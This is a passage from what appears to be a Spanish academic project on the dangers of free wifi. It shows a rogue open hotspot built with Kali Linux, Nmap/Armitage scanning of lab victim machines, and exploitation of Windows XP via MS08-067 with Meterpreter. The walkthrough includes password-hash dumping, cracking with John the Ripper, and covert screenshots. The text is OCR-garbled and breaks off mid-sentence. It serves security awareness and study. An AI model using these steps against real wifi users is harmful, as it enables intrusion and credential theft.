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RESUMEN

En un mundo globalizado, la necesidad de conectarse a internet en todo
momento es clave, ya que los usuarios dependen del uso de la tecnologia para
su trabajo, entretenimiento, correo y otros usos. Esto hace que los mismos se
conecten a redes wifi libres de origen desconocido, donde estos puntos de
acceso pueden resultar no seguras y peligrosas, ya que logran ser creadas,
controladas y monitoreadas por terceros, con el objetivo de sacar beneficio de

las personas que se conecten.

En el presente proyecto, se pretende brindar informacion util y demostrar que
mediante una red wifi portable, creada para realizar una simulacion y explotacion
de vulnerabilidades hacia los dispositivos y Sistemas Operativos mas utilizados
que se conecten y con ello conocer los peligros existentes al ingresar a una red
wifi libre, como por ejemplo robar informacion; y, posteriormente, se daran las
debidas recomendaciones para prevenir el robo de informacion o intrusiones en

sus sistemas.

Ademas, se pretende concientizar a los usuarios en general acerca de los
peligros existentes al conectarse a una red wifi libre, con la finalidad de mejorar

la proteccion de su integridad, informacion sensible y datos en general.

Palabras Clave: Wifi gratis, Seguridad en wifi libres, Hacking en redes wifi, Kali

Linux wifi, creacién de redes inalambricas en dispositivos portatiles
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ABREVIATURAS

HTTPS: Hiper Text Transfer Protocol Secure. Protocolo de Transferecia de

Hiper Texto Seguro

DHCP: Dynamic Host Configuration Protocol. Protocolo de Configuracion

Dinamica del Cliente.

MIM: Man In the Middle. Hombre en el Medio.

SAM: Security Account Manager. Administrador de Cuentas de Seguridad.
SET: Social Engineering Toolkit. Herramientas para Ingenieria Social.

SO: Sistema Operativo.

SSID: Service Set Identifier. Nombre de la Red

SSL: Secure Socket Layer. Capa de Sockets Seguro

URL: Uniform Resource Locator. Localizador Uniforme de Recursos.
VNC: Virtual Network Connection. Conexion Virtual en Red.

VPN: Virtual Private Network. Red Privada Virtual



INTRODUCCION

En la actualidad, los dispositivos mdviles poseen caracteristicas que permiten
crear redes inalambricas portatiles y, de esta manera, brindar el servicio para
que los usuarios puedan conectarse a internet, redes sociales, noticias, sitios de

empresas y otros.

El problema radica en el desconocimiento de la mayoria de usuarios, que al
ingresar a una red wifi libre puede existir peligros y amenazas que atentan contra
la informacion del mismo, ya que el punto de red wifi puede ser controlado o
monitoreado por una persona desconocida, que llegaria a vulnerar los sistemas
y robar informacion de los usuarios que ingresan a dicha red y ser victimas de
ataques que suelen también ser invisibles, permitiendo el robo de informacién

por parte del atacante.

Muchos usuarios no estan capacitados sobre de los riesgos que existen al
conectarse a este tipo de redes; para ello entiendo que es necesario generar
documentacion, demostrar las vulnerabilidades de los mismos y de los
dispositivos informaticos, fomentar charlas sobre seguridad de la informacion y
proveer recomendaciones de buenas practicas para un mejor uso del internet al

estar conectados en este tipo de redes libres.



1. CAPITULO I: ARMADO DE INFRAESTRUCTURA

1.1 Introduccion

Existen muchas zonas donde las personas pueden aprovechar y conectarse a
una red wifi libre para navegar por internet, compartir archivos, revisar noticias,
entre otros; donde el método comun de acceso, es a través de un equipo llamado
router, que brinda sefal hacia los dispositivos y su ingreso se lleva a cabo de
una clave de seguridad, aunque en varios casos es libre, sin necesidad de

ingresar datos adicionales.

En la actualidad, existen varios mecanismos para crear y personalizar una red
wifi desde un dispositivo movil, sean estos: celular, tablet, laptop, raspberry pi,
etc. En el dispositivo proveedor del servicio se puede instalar programas que
intervienen o manipulan la comunicacion y realizan acciones ilegales como el

robo de informacion.

Por comodidad, movilidad y facil acceso, se pueden utilizar dispositivos que
permitan llevar el punto de red wifi a varios lugares que pueden estar
configurados y personalizados con las herramientas necesarias y crear puntos
de red gratuitos para hacking y captura de datos e informacion de una posible
victima, de esta manera se pondria en riesgo la informacion, tal como se indica

en el armado de infraestructura.

1.2 Objetivos
¢ Disenar e implementar una red wifi que permita el libre acceso a usuarios
que busquen una conexidn a internet.
e Realizar pruebas de infraestructura con un dispositivo movil, como
atacante, que provea la red wifi gratuita.

e Crear un grupo de usuarios que cumpliran el rol de victimas.

1.3 Alcance
e Disefar una red basada en cliente-servidor.



e Los clientes o victimas que se conecten a la red wifi libre seran solamente
las designadas para este proyecto, obviando las demas si se llegasen a
conectar.

e EIl dispositivo atacante o servidor sera ejecutado en laptop, celular o
raspberry pi, empleando el SO de Kali Linux.

e Los clientes o victimas que forman parte del proyecto son:

o Windows 7.- Sistema que aloja los clientes Virtuales
o Windows XP.- Virtualizado
o Android.- Virtualizado

e Lared creada es de acceso libre o sin contrasefia, simulando ser una red
de servicio de internet publica.

e Elreconocimiento, enumeracion, ataques y demostraciones se realizaran
con el SO Kali Linux virtualizado en la laptop con SO Windows 7, lo que

variara las direcciones IP.

1.4 Modelo de la Infraestructura

El modelo corresponde al esquema cliente-servidor, conectados a través de un
router, donde:

e Usuarios: dos victimas virtuales y una fisica.

e Servidor: el atacante, virtual o fisico

e Router: dispositivo que brinda la sefal de internet.

A continuacion, se detalla brevemente las caracteristicas del entorno que forma

parte de la infraestructura.
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Figura 1: Esquema de ataque a realizar

La tabla 1 muestra las caracteristicas basicas de los equipos que involucran a la

infraestructura.

Plataforma Version Arquitectura Observaciones Direccion IP

Windows XP X86 Service Pack 1, 192.168. XXX.XXX*
(Virtual) Sin anti-virus.
Windows 7 X86 Service Pack 1, 192.168. XXX.XXX*
(Fisica) Con y Sin

Antivirus.
Android 6.0 X86 Aplicaciones y 192.168. XXX.XXX*
(Virtual) configuraciones

por defecto
Linux Kali X86/X64 Aplicaciones por 192.168. XXX. XXX*
(Atacante) Linux defecto.

Tabla 1. Equipos y caracteristicas basicas utilizadas para las practicas

* Las direcciones IP pueden variar puesto que se esta utilizando protocolo DHCP que otorga el
servidor de Kali Linux.

1.5 Usuarios Virtuales o Victimas

Los clientes son fundamentales para la explicacién de los ataques a realizar en
el transcurso del proyecto, para ello se organiza un entorno controlado, evitando
causar dafio o perjuicio a un usuario que se encuentre conectado y fuera del

alcance designado en este proyecto.
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Es necesario tener una herramienta de virtualizacion, en este caso Virtual Box
en cualquiera de sus versiones, que se instala en el SO Windows 7 y que forma
parte de los clientes victimas. Con ello se crea la infraestructura de red que
incluyen los equipos virtuales Windows XP y Android, cuya red esta configurada
con direcciones DHCP en modo puente para simular estar en la misma red

compartida por el atacante.

ﬁ General Network
El System Adapter 1 3 dapter [ Adapter 3 I Adapter 4 |
[!r Display Enable Netwark Adapter
M Attached tof__Bridged Adapter ¥ |
Storage o=t =
. Name: |Intel(R) Centrino(R) Ultimate-N 6300 AGN ¥
Audi
- ¥ Advanced
fl_‘-ﬂ! Network Adapter Type: |PCnet-FAST III (Am79C973 r
N Serial Ports Promiscuous Mode: :wa All : ; %
L':/" USB AL ACOress Jait 2 /513735
b | Cable Connected
Shared Folders -
=_¥ User Interface

Figura 2. Configuracion de la red de las maquinas virtuales

1.6 Servidor o Atacante

Existen varios dispositivos que pueden crear una red wifi libre como un punto de

acceso gratuito, permitiendo el ingreso de los usuarios o victimas a la red creada.

Se definen los parametros para facilitar el acceso de los clientes y realizar los
ataques que permitan obtener informacién de los usuarios, o ingresar
directamente a sus dispositivos, tomando el control de sus equipos sin que los

mismos tengan conocimiento.
El dispositivo atacante, tiene virtualizado un SO llamado Kali Linux que utiliza

herramientas especializadas en seguridad informatica que se encarga de

analizar y vulnerar los equipos victima y obtener informacion.
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La instalacion y virtualizacion del SO Kali Linux en el celular/tablet, permitira
tener acceso a internet por medio de datos mdviles propios de la operadora y
proveera del servicio a los usuarios conectados por medio de una red AD-HOC
o HOT-SPOT configurado de manera gratuita por medio de un nombre de red o
SSID llamativo.

Configurar Zona Wi-Fi portatil

Red SSID
| MallGratig \

D Ocultar mi dispositivo

Seguridad
| Abierta 4|

Modo de conexion

Cualguier dispositivo puede conectarse a su PA sin introducir contrasena

@ Mostrar opciones avanzadas

Permitir todos disp. @
Publicar canal
|Aumméticu ‘| Sélo dispositivos permitidos O
Cancelar I Guardar Cancelar
(a) Configuracién de zona wi-fi (b) Dispositivos permitidos

Figura 3. Configuracién de red wifi gratuita sin contrasefia

Por facilidad de transporte, el dispositivo movil configurado tiene las
herramientas necesarias para virtualizar el SO Kali Linux y debe estar
previamente rooteado para permitir la ejecucion de las aplicaciones con
privilegios de super-usuario [1], éstas son BusyBox, Terminal y VNC, que son de

descargas gratuitas del Play Store.
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B pusmox Aut 5 Ventana 1

Applet Manager Install Busybox ut BusyBox

this applet

Fecommend o ) v e ‘ . )
T DEDDUDDDESD
Espaiiol(US)
E3
Install Uninstall

(a) BusyBox (b) Terminal Emulator for Android

Desktop169

Kali

(VN Viewer
Figura 4. Requisitos previos a la instalacion del Sistema Operativo en Android

Una vez instaladas las aplicaciones necesarias en el dispositivo atacante, se
procede a configurar Linux Deploy [2] para el correcto funcionamiento.
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Propiedades: linux

(@) Coiguraci()n de instalacién (b) Configuracion de acceso remoto
Figura 5. Configuracion de parametros de aplicacion Linux Deploy

Configurado los parametros, se instala el SO que demorara alrededor de 20
minutos; luego se configura con la descarga automatica de los paquetes de
utilidades propias del SO de Kali Linux.

linux [192.]68.].”4] Instalar

Configurar

Exportar

Estado

Limpiar

Figura 6. Proceso de instalacion y configuracion del Sistema Operativo en el
dispositivo

Realizado la instalacion y configuracion del sistema, se inicia los servicios para

la utilizacion del Sistema atacante ya instalado.
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WNOA®OD

= linux [10.199.125.78 ]

> INICIAR m PARAR I=

Figura 7. Inicio de servicios del Sistema Operativo Kali Linux

Iniciado el sistema, se toma el control remoto de la maquina virtual Kali Linux por
medio de la aplicacion VNC instalada, ya sea desde el propio celular/tablet o

desde otro dispositivo.

Linux

localhost

android

(a) Parametros de conexién (b) Conexién exitosa a Kali Linux
Figura 8. Conexién VNC por medio del celular/tablet

‘;&' Oracle VMY 3 Jazlmz-i—wcvﬁm
|

m.
UNC Vieher

e View Helpl

[ Authentication

xconned [ Authenticate to VNC Server
192.168.43.1:5900 (TCP) L

Passwort o

[ Remember password

CWindows\system3Z\cmd.exe e

de enlace predeterminada . . . . . : 192.168.43.

(a) Parametros de conexion B (b) Conexion exitosa a Kali Linux {
Figura 9. Conexién VNC por medio de Laptop
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Para continuar con el armado de infraestructura, se conectan todos los equipos,

fisicos y virtuales, a la red wifi libre.

C\Windows\system32\cmd.exe =l X

o para la conexidn

(b) Windows XP. Equipo Virtual |

P4 Android7.0 [Running] - Oracle VM VirtualBo

L= Configurar Wi-Fi

Redes quardadas

Motificacién de red ®

Mantener Wi durante suspensian

<4

(c) Android. Equipo Virtual
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(d) Kali Linux. Dispositivo fisico atacante

Figura 10. Atacante y victimas conectadas
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2. CAPITULO Il: RECONOCIMIENTO Y ENUMERACION

2.1 Introduccion

En una red wifi libre se pueden conectar varios usuarios que buscan un servicio
de internet de forma gratuita, siendo potencialmente vulnerables ya que

desconocen los motivos de su existencia.

El atacante encargado de realizar estas actividades inusuales puede hacer un
reconocimiento de los clientes conectados a la red con el uso de herramientas y

técnicas que ayudan a descubrir los dispositivos dentro de la red wifi.

Una vez detectado todos los dispositivos conectados a la red wifi libre, existe la
posibilidad de enumerar o listar las victimas y planear los posteriores ataques a
realizar, con ello, el atacante puede obtener informacion sensible de un cliente

conectado a la red o tener acceso al dispositivo remotamente.

Mediante el uso de técnicas de reconocimiento y enumeracion, se detectara
posibles vulnerabilidades de los usuarios y dispositivos que se encuentran
conectados en la red y de ésta manera realizar ataques con exploits, ingenieria

social, malwares, captura de paquetes, etc.

2.2 Objetivos
e Utilizar el SO Kali Linux y sus herramientas para analisis de dispositivos

conectados, posterior enumeracion y reconocimiento de posibles victimas
y ataques a realizar.
¢ |dentificar posibles puntos de ataque en los clientes conectados en la red,
ya sean por medio de exploits, ingenieria social, captura de paquetes, etc.
e Utilizar herramientas para realizar un sniffing de datos como parte de un

ataque MIM

2.3 Alcance
e Utilizar el SO Kali Linux y las herramientas de Nmap y Armitage para el

reconocimiento y enumeracion de clientes y vulnerabilidades, para esto

se utiliza también el Framework de Metasploit.
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e El trabajo sera realizado solamente a la red creada por el atacante y los
clientes antes mencionados en el armado de infraestructura.
e Se examinan puertos y servicios vulnerables, asi como los ataques a

realizar en la posterior explotacion.

2.4 Reconocimiento y Enumeracién

Por medio de éstos es posible analizar la red wifi y los clientes conectados a la
misma, descubriendo puertos abiertos, servicios en ejecucion, direcciones IP y
otros, con esta informacion el atacante puede enumerar, enfocar y analizar los

posibles ataques a realizar sobre las victimas.

Luego se realiza el reconocimiento y enumeracion de usuarios conectados en la
red; para este proyecto se hace uso de Nmap y Armitage, por medio de
comandos o de forma grafica respectivamente.

2.4.1 Reconocimiento por Nmap
Nmap es una herramienta que permite obtener informacién de un equipo

conectado a una red por medio de un escaneo, que tiene varios parametros que

determinan el grado de fiabilidad de un analisis [3].

Se analiza la red interna generada por el equipo atacante a través del wifi libre,
donde el rango de direcciones IP a analizar corresponde a la otorgada por el
servidor atacante. El segmento de red corresponde a 192.168.1.0/24 y contiene
a todos los posibles usuarios conectados a la red y acceder a la informacién
necesaria.

FOOTERaEE :=# nmap -sS -sV -0 -A 192.168.1.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2020-04-21 16:22 UTC
Figura 11. Escaneo a todos los equipos conectados en la red

2.4.1.1 Escaneo de Windows 7

Se observa la informacion del escaneo del equipo de la victima y utilizarlo para
un posterior ataque mediante ingenieria social o creacion de un malware para

generar un acceso directo al dispositivo infectado.
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El SO del cliente se encuentra actualmente en el mercado y no posee soporte
por parte del proveedor, lo que le hace muy vulnerable en su uso personal o de
trabajo.

Nmap scan repog%;;or 192.168.1.139 ::;
Host is up (0.0 -

INot shown: 893 filtered ports

IPORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn

1445/tcp  open netbios-ssn

554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)

| http-methods: No Allow or Public header in OPTIONS response (status code 503)

| http-title: Service Unavailable

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPKP)

| _http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-title: Not Found

IMAC Address: 3C:A9:F4:93:25:98 (Intel Corporate)

Warning: 0SScan results may be unreliable because we could not find at least 1 o

ipen and 1 closed port

Device type: general purpose|phone

Running: Microsoft Windows 2008 |Phone|Vista|7

I0S CPE: cpe:/o:microsoft:windows_server 2008:r2 cpe:/o:microsoft:windows cpe:/o:
icrosoft:windows vista::- cpe:/o:microsoft:windows vista::spl cpe:/o:microsoft:

Rindows 7 |

0S details: Windows Server 2008 RZ, Microsoft Windows Phone 7.5 or 8.0, Microsof

t Windows Vista SP@ or SPl, Windows Server 2008 SPl, or Windows 7, Microsoft Win

dows Vista SP2, Windows 7 SP1, or Windows Server 2008

Network Distance: 1 hop

Service Info: 05: Windows; CPE: cpe:/o:microsoft :windows

Host script results:

| nbstat: NetBIOS name: TUTO-PC, NetBIOS user: <unknown=, NetBIOS MAC: 3c:a9:f4:
93:25:98 (Intel Corporate)

| smb-os-discovery:

| 0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| 0S CPE: cpe:/fo:microsoft:windows_7::spl:professional
| Computer name: tuto-PC

| NetBIOS computer name: TUTO-PC

| Workgroup: WORKGROUP

| System time: 2020-04-21T11:34:13-05:00

| smb-security-mode:

| Account that was used for smb scripts: guest

| User-level authentication

| SMB Security: Challenge/response passwords supported
|  Message signing disabled (dangerous, but default)

| _smbvZ-enabled: Server supports SMBvZ protocol

Figura 12. Escaneo de puertos y servicios de Windows 7

4.4.1.2 Escaneo de Android

En el dispositivo Android se observa que existe un puerto abierto que puede ser

explotado localmente y no remotamente, necesitando por tanto utilizar técnicas
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de ingenieria social y convencer al usuario que instale e inicie una aplicacion
maliciosa que permita al atacante abrir una conexion remota y asi lograr ingresar

a su dispositivo y revisar su informacion sin que el usuario lo descubra.

Los dispositivos moéviles con este SO son muy utilizados en el mercado para

conectarse a redes wifi libres, volviéndolos vulnerables a ataques.

Nmap scan report f 92.168.1.11
Host is up (0.00069s E;;éﬂtTﬁf_::
Not shown: 999 closed ports

PORT STATE SERVICE VERSION
5555/tcp open freeciv?

MAC Address: 08:00:27:27:9F:El (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X

0S CPE: cpe:/o:linux:linux_kernel:3
0S details: Linux 3.11 - 3.14
Network Distance: 1 hop

Figura 13. Escaneo de puertos y servicios de Android

4.4.1.3 Escaneo de Windows XP

Se observan puertos abiertos y servicios que pueden ser atacados utilizando un
exploit directamente, lo que nos permite el control del equipo sin que el usuario

de dé cuenta de este ataque.

Este SO se encuentra en el mercado y tampoco posee soporte por parte del
proveedor y también lo hace vulnerable.

root@kali:/home/kalifl nmap -sS5 -sV - 192.168.1.119
Starting Mmap 7.808 ( https://nmap.org ) at 2 ~05- 73:2]
Nmap scan report for 192.168.1.119

Host is up (0.00086s latency).

Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
( open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Windows XP microsoft-ds

B /tcp closed ms- server

MAC Address: 08:00:27:7E:FE:5C (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Microsoft Windows 2000 |XP

0S CPE: cpe:/o:microsoft:windows_2000:: sp4 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:wi
indows_xp :: sp3 |
DS details: Microsoft Windows 2000 SP&, Microsoft Windows XP SP2 or SP3 (o]
Network Distance: 1 hop
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows
_Xp

Host script results:
_clock-skew: mean: 15m34s, deviation: 3h32m@7s, median: -2hlam2Ss
_nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: @B:00:27:7e:fe:5c (Oracle Vi
rtualBox virtual NIC)
smb-os-discovery:
0S: Windows XP (Windows 2000 LAN Manager)
0S CPE: cpe:/o:microsoft:windows xp:: -
Computer name: tuto-pc
NetBIOS computer name: TUTO-PC\x00
Workgroup: GRUPO_TRABAJO\x20

Figura 14. Escaneo de puertos y servicios de Windows XP
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2.4.2 Reconocimiento y Enumeracion por Armitage

Armitage es una herramienta grafica que utiliza los Frameworks de Nmap y
Metasploit permitiendo el escaneo de los clientes en una red y visualizandolos
en una interfaz grafica, ademas permite realizar busquedas y enumerar las
posibles vulnerabilidades de cada dispositivo que se encuentre en la red,

ofreciendo una ayuda grafica para mejorar el ataque [4].

Para la ejecucion de Armitage es necesario ejecutar una serie de pasos que
incluyen el inicio de servicios esenciales para el buen funcionamiento de la

herramienta, para ello se abre una terminal y se ejecuta el proceso.

potakali:/home/kali# service postgresq
home/kali# armitage Start Metasploit?

rootaka

= A Metasploit RPC server is not running or
0 not accepting connections yet. Would you
like me to start Metasploit's RPC server
for you?

(A) Inicio previo de Armitage (b) Inicio de Metasploit
Figura 15. Inicio de Armitage

Iniciado la herramienta grafica de Armitage se realiza el reconocimiento de la red
para identificar a los usuarios conectados a la misma, para ello se abre el menu

Add Hosts y se ingresa la red a analizar.

Armitage View Attacks Workspaces Help Armitage View Hosts Attacks Workspaces Help
> @ auxiliary » (@ auxiliary Add Hosts
~1 Add Hosts.., °
> [ exploit = » ([ exploit Enter one host/line:
> [ payload Nmap Scan > » @ pavioad N
» [@@ post MSF Scans... _!“ =
DNS Enumerate . post
Clear Database Add
(a) Menu Add Hosts (b) Red a analizar

Figura 16. Ingreso de parametros de la red a analizar

Una vez agregado los usuarios, se escanea los puertos y servicios de los equipos
encontrados, para lo cual se puede elegir varias opciones de escaneo, desde el
basico como un ping, al mas avanzado utilizado en este caso, llamado Intense

Scan.

Armitage View [EEEEJ Attacks Workspaces Help

Import Hosts
Add Hosts..,

> [@ auxiliary
> (@@ exploit

> [@ payload ¢
» (@ post

Nmap Scan
MSF Scans...
DNS Enumerate

Intense Scan
Intense Sca DP

Intense Scan, all TCP ports

Clear Database Intense Scam, 76 ping

Quick Scan
Quick Scan (OS detect)
Comprehensive

Figura 17. Escaneo de puertos y servicios utilizando NMAP
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Una vez escaneado los puertos y servicios del dispositivo del cliente, se puede
observar a los usuarios conectados a la red wifi de manera grafica y con la
informacion de cada uno, reconocemos a los equipos conectados a la red.

Armitage View Hosts Attacks Workspaces Help

> (@ auliary
* (@ exploit
> [ payload
» (@l post

192.168.0.17 192.168.0.19 192.168.0. 18
XP Android Kali

Figura 18. Reconocimiento de los equipos encontrados

Para enumerar los posibles ataques que se pueden realizar en cada uno de los
clientes de la red wifi, en el menu se escoge la opcién principal llamada Find
Attacks que permite a la herramienta Armitage hacer uso del Framework del

Metasploit y recomendar posibles ataques.

Armitage View Hosts FASETd N Workspi

O ———————————
Find Attacks
Hail Mary

> _ auxiliary
* (@ exploit i
(a) Busqueda de ataques * (b) Ataques encontrados para el Sistema

Figura 19. Busqueda automatica de posibles ataques

*No se recomienda el ataque Hail Mary, puesto que utiliza todos los exploits existente en la base
de datos del Framework de Metasploit para vulnerar el equipo remoto, ademas es muy ruidoso,
tarda demasiado tiempo y utiliza excesivos recursos.

Cabe tener en cuenta que los ataques de ingenieria social pueden ser aplicados
verbalmente por teléfono, mensajes de texto, correo electronico, personalmente,
entre otros, utilizando técnicas de convencimiento para que el usuario realice
una accion en su equipo, por medio de engainos para que nos brinde informacién
sensible, ejecute aplicaciones maliciosas, ingrese a links vulnerables, etc, y con
ello acceder a su informacion, por ejemplo clonar una pagina web y conocer su
usuario y contraseia, crear un correo electronico suplantando una identidad para

recibir informacion sensible o ejecutar archivos o URL s infectadas, entre otros.
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3. CAPITULO lil: EXPLOTACION DE WINDOWS XP

3.1 Introduccion

En la actualidad, existen SO que no poseen soportes por parte del proveedor,

dejando asi a un sin numero de usuarios sin proteccion ante posibles ataques

como el robo de informacion sensible o credenciales, control total del equipo,

etc., que son aprovechados para intereses econdmicos, politicos, sociales,

personales.

Este es el caso de Microsoft Windows XP, que dejo de tener soporte en Abril del

2014 [5], dejando a muchas personas con fallas de seguridad en sus sistemas,

tornandolos vulnerables a posibles ataques, para evitar ésto existen buenas

practicas del uso de los sistemas en este tipo de redes.

3.2 Objetivos

Analizar el Sistema Windows XP y enumerar los posibles ataques.
Explotar y demostrar una vulnerabilidad que permita tomar control total
sobre el dispositivo.

Extraer usuarios y contrasenas descifrando las claves de usuarios de

Windows existentes.

3.3 Alcance

Listar graficamente los posibles ataques.

Utilizar el exploit ms08_064_netapi para tomar control total del equipo
cliente conectado a la red

Evidenciar la obtencidn del control del dispositivo remotamente.

Extraer los usuarios y contrasefas existentes en la SAM del SO Windows
XP del equipo cliente.

Utilizar la herramienta John the Ripper [6] para descifrar las claves de los

usuarios que se extrae del equipo.

3.4 Explotacién

Durante el reconocimiento y enumeracion de los equipos conectados a la red, se

obtuvo la siguiente informacion:

24



rootdkali:/home/kali# ifconfig
ethd: Flggs-i163<UP.BRO#DCAST.RUNNIHE.NULTICAST) mtu 1500
192

netmask 255.255.255.0 broadcast 192.168.1.255
f:fedf:609e prefixlen 64 scopeid @x28<link>
5:0:c469:18ed:5269:f4a prefixlen 64 scopeid 8x

@<global>

(a) Direccion IP Kali Linux (b) Direccion IP Windows XP
Figura 20. Informacion del atacante y victima

3.4.1 Explotacién por consola de Terminal

Se realiza el ataque por medio de una consola terminal, donde se observé los

servicios, puertos y demas informacidén que permite realizar el ataque.

-05
1
" cle VirtualBox virtual NIC
Devic pe irp
Running: Micr indows 2000 |XP
0S5 CPE pé o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:wi
indows 2000 SP&4&, Microsoft Windows XP SP2 or SP

ows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows

4s, deviation: 3h32m@7s, median: -2hlim25s
1, NetBIOS user: <unknown>, NetBIOS MAC: @8:00:27:7e:fe:5c (Oracle Vi

message

mES sig disabled (dangerous, but default)
_smb2-time: Pr

negotiation Failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 0.86 ms 192.168.1.119

Figura 21. Escaneo de puertos y servicios

Con la informacién de la victima, se procede a utilizar el Framework del

Metasploit que viene en Kali Linux.

Figura N' Inicio del Framework de Metasploit

Existe una vulnerabilidad vigente conocida en el ambito de la Seguridad
Informatica que pertenece al CVE-2008-4250 [7], cuyo exploit es llamado
ms08_067_netapi [8], dicha vulnerabilidad es aprovechada gracias a un fallo de
seguridad del SO en el puerto 445.
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Iniciado el Metasploit se procede a configurar y utilizar el exploit por medio de los

comandos

Explotado

la vulnerabilidad, el

BSfS exploit ) Corptoit R
Figura 23. Parametrizacion y explotacion del equipo victima

atacante tiene control

total del equipo

remotamente sin que la victima conozca que esta siendo atacada. La conexién

utiliza un intérprete llamado Meterpreter [9] que permite que dos plataformas

distintas se entiendan y mantengan una conexion.

(a) Sesion abierta para ataque

68.1.118: 4. 1.119:1063

(b) Sesion abierta

Figura 24. Ataque exitoso hacia el objetivo

Mediante el comando help se lista todos los posibles comandos a utilizar por el

atacante sobre el equipo de la victima como se describe a continuacion.

Comando Descripcion Comando Descripcion
download Descargar archivos del | Kill Mata procesos
cliente
edit Editar archivos reboot Reinicia el equipo
hashdump Obtiene  usuarios vy | shell Abre una conexion
contrasefias de la SAM Shell con el cliente
upload Subir archivos al cliente | sysinfo Obtiene informacion
del sistema
route Ver o modificar la tabla | Keyscan_start | Inicia un Keylogger
de rutas en el cliente
clearav Elimina los logs screenshot Captura pantallas del
cliente
getprivs Obtiene privilegios de | getsystem Obtiene  privilegios
otros usuarios del SYSAdmin

Figura 25. Muestra de comandos utilizados para Meterpreter [10]
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Se analiza los usuarios y contrasenas que tiene almacenado el equipo en la SAM
del SO para el inicio a la sesion de Windows al encender el equipo informatico.

meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31dbcTe®dl6ae931b73c59d7e0ch89cH: : :

Asistente de ayuda:1000:bc8960a73fcB55a51210aaa2638cb01c:817b3c62028bd1T3b5el7T415d20097e: ::

Invitado:501:aad3b435b51404eeaad3b435b51404ee:31db6cTefd16ae931b73c59d7eBcBO89cB: : :
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:6a3161c2418db38dbf047f711154cT2b4: : :
tuto:1003:aad3b435b51404eeaad3b435b51404ee:31d6cTe@d16ae931b73c59d7e0cO89cOH: : :

Figura 26. Usuarios y contrasefas encriptadas

Las contrasefias de los usuarios vienen encriptadas, para ello se utiliza un
cracking de claves llamado Johnny que utiliza el Framework de John The Ripper

para descifrar las mismas en modo grafico

Johnny
File Attack Passwords Help

Open password file, Open session,
Passwords

Options.

il
Statistics

Settings

Console log

Figura 27. Inicio de Johnny

Abierto y ejecutado la aplicacion se procede a descifrar las contrasefas, como

se observa en la siguiente figura. Estas pueden ser nulas o caracteres.

User - Password Hash Formats GECOS
1 & Administrador **NULL PA e aad3b435b51404ee.. |LM ,NT NT-old 500:31d6cfe0dl6ae9...
2 @ Asistente de ayu.. be8960a73fc055a5... LM ,NT.NT-old 1000:817b3c62028b...
3 @& Invitado **N L PA L aad3b435b51404ee... | LM,NT.NT-old 501:31d6cfe0dl6ae9..
4 @& SUPPORT_3889. **NULL PASS™* aad3b435b51404ee... LM ,NT,NT-old 1002:6a3161c2418d..
5 @ Tesis 1234 b757bf5c0d87772f.. |LM,NT.NT-old 1004:7ce21f17c0aee...
6 B tuto ¢ aad3b435b51404ee. LM.NT,NT-old 1003:31d6cfeOdl6ae...
Figura 28. Contrasenas descublertas para los usuarios del equipo victima

3.4.2 Explotaciéon con Armitage

Una vez realizado el reconocimiento y enumeracion de los equipos conectados,
se detectan las posibles vulnerabilidades que Armitage recomienda atacar, para
su busqueda es necesario seleccionar la victima y elegir la opcion Attacks y
posterior elegir Find Attacks
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Armitage View Hosts FAEWE Workspaces Help FFDQTEEE u
» [ awdliary (
> @ exploit _ . Queryirig esploits..,
* [ payload
» [ post 6 uniefwabapplactualanalze
| caneel |
102, 168, 1. 110 | P -
(a) Busqueda de ataques (b) Progreso de busqueda de exploits

Figura 29. Busqueda y recomendacion de exploits a utilizar

Armitage, haciendo uso del Framework de Metasploit, recomienda opciones de
ataques sobre el dispositivo que se ha detectado en la red.

josts Attacks Workspaces Help

Figura 30. Recomendacion de ataques posibles a realizar

Se utiliza el ataque para controlar totalmente el equipo remoto mediante el exploit
ms08_067_netapi. Cabe aclarar que los parametros del exploit son los mismos
realizados manualmente en modo consola de terminal, sin embargo éstos ya han
sido establecidos automaticamente.

Attack192.168.1.119 - 0 x

MS08-067 Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dIl

r
through the Server Service, This module is capable of bypassing NX on some operating & i = = = x
svstems and service packs, The correct taroet must be used to orevent the Server 2 Armit age Mew Hosts: Attacks Workspaces. Help
Option 4| value » ([l auxliary
LHOST 192.168.1.118 .
C S ™~
LPORT 2685
| [~ @pajos
RPORT I "1 » B
SMRPIPE RAROWSER M il post

Targets: |0 => Automatic Targeting

) Use a reverse connection

[J show advanced options

19 . 1.119
INT AUTHORI STEM @ TUTO-PC
(a) Parametrizacion automatica (b) Explotacién de vulnerabilidad
Figura 31. Parametrizacion y explotacion automatica de la victima

Infectado el equipo informatico de la victima, se puede realizar los ataques
revisados anteriormente sin que el usuario tenga conocimiento, en este caso el
robo de claves encriptadas de los usuarios.
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[ console x[ nmap x [ ssploit x [ Meterpretsri x|

meterpreters= hashdump

[*] Dumping password hashes. . .

[+] Admind | I‘|I31- e dad 31
[#1 1 [ 3

NT AUTHOR

I+1
[+1
I+1

(a) Ataques posibles (b) Hashdump de usuarios y contrasefnas
Figura 32. Usuarios y contrasefas encriptadas

Ademas, se puede realizar capturas de pantalla del equipo remoto sin el

consentimiento de la persona, entre otra variedad de comandos.

Figura 33. Captura de pantalla de la victima

Las contrasefas de los usuarios vienen cifradas, para descifrarlas en modo
